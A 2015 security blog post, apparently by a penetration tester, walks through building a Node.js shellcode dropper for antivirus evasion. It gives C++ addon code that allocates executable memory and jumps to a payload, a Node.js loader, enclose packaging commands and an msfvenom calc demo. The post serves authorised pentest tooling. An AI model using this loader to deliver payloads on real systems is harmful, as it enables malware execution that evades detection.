Daniele Bellavista's Blog

Security, IT, Projects

Toward a Node.js dropper — 2015-07-21

Toward a Node.js dropper

When working as penetration tester, after discovering a vulnerability you need to spend time in the post-exploitation phase. During this phase, you have to proof a possible attack path by assuming control of the target machine. One of the most used tool for this step is Meterpreter, which offers a tested, full-featured Remote Access Control solution.

A classic and simple vulnerability exploitation follows three steps:

  1. Vulnerability exploitation to execute the “shellcode”
  2. Payload download and execution
  3. Remote access control

Each step can be detected or blocked by the IT security perimeter, but in this scenario we only need to proof that the host is vulnerable by exploiting and infecting it and the most common host-based security solution is the antivirus.

Actually, to bypass antivirus solutions is simple (see this nice Malware Evasion Chart) but the goal is to minimize the resources used during the test. We cannot affort to write a custom dropper for each test, so tools like Veil Evasion comes in handy. Veil Evasion allows you to generate a metasploit payload by wrapping it with an ideally “signature-free” dropper. These droppers are written in multiple languages, such as python, c and event go!

But node.js isn’t in the list. So I decided to try creating something similar in node.js that could be hopefully integrated into Veil Evasion.

In the previous post I described the basic post-exploitation process and introduced the Veil Evasion framework.

Node.js doesn’t offer an interface to the Windows API, but allow the user to create addons, which are basically DLLs imported in Node.js. We can use this approach to define the API we need to execute a custom payload.

The simplest payload executor does the following:

  • Allocate enough memory with RWX permission
  • Decrypt the payload
  • Write the decripted payload in the allocated memory
  • Execute the payload

The decription will be performed by Node.js, while the other functions by the C++ addon:

void* area;

void AllocateSpace(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = Isolate::GetCurrent();
  HandleScope scope(isolate);

  // Allocate space for the paylaod
  unsigned int size = args[0]->Uint32Value();
  area = VirtualAlloc(0, size * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}

void CopyExecution(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = Isolate::GetCurrent();
  HandleScope scope(isolate);

  // Copy the payload inside the allocated memory
  // The payload is provided as a Node.js Buffer
  Local<Object> bufferObj = args[0]->ToObject();
  char* bufferData = node::Buffer::Data(bufferObj);
  size_t bufferLength = node::Buffer::Length(bufferObj);
  memcpy(area, bufferData, bufferLength);
}

void Execute(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = Isolate::GetCurrent();
  HandleScope scope(isolate);

  // Brutal payload execution
  (*(void (*)()) area)();
}

The function AllocateSpace calls the VirtualAlloc API, creating an RWX memory area. The function CopyExecution reads the first parameter as a Node.js buffer and copies it into the allocated memory area. Finally, the function Execute casts the memory area to a function pointer and invokes it.

The Node.js code (without the payload decryption) is straightforward:

var dropper = require('./dropper');
var payload = new Buffer([/* ... */]);
dropper.allocateSpace(payload.length);
dropper.copyExecution(payload);
dropper.execute();

The full code for the module and the compilation procedure is available in my git repository: https://github.com/dbellavista/nodejs-dropper.

Now we have a .js file and a .node file, but we need an exe. To create it I used “enclose.js” which can create an exe file with the compiled version of the Node.js code, but it has one big problem. It’s unable to embed native modules into the exe, so you have to ship them with the exe. This is a serious limitation and still I haven’t found a solution yet. Of course you can create a self extracting archive, but it isn’t the same thing.

Now however, let’s finish the creation procedure. We need to install enclose.js (on windows) and create the exe:

npm install -g enclose
enclose --loglevel info -x -o main.exe main.js

Enclose.js will create “main.exe” and “dropper.main.exe.node“. To distribute it, rename the latter into “dropper.node” and ship it togheter with main.exe.

To test the code, I have used the metasploit exec payload to execute cal. Note that I have used the 64 bit shellcode, because I have node 64 bit installed.

msfvenom -p windows/x64/exec -f c CMD=calc.exe

Then just create a buffer with the given payload inside main.js and launch it!

This is only a first step toward a standalone Node.js dropper, and fell free to improve and comment if you liked it! The full code and procedure is at https://github.com/dbellavista/nodejs-dropper.

Dropper calc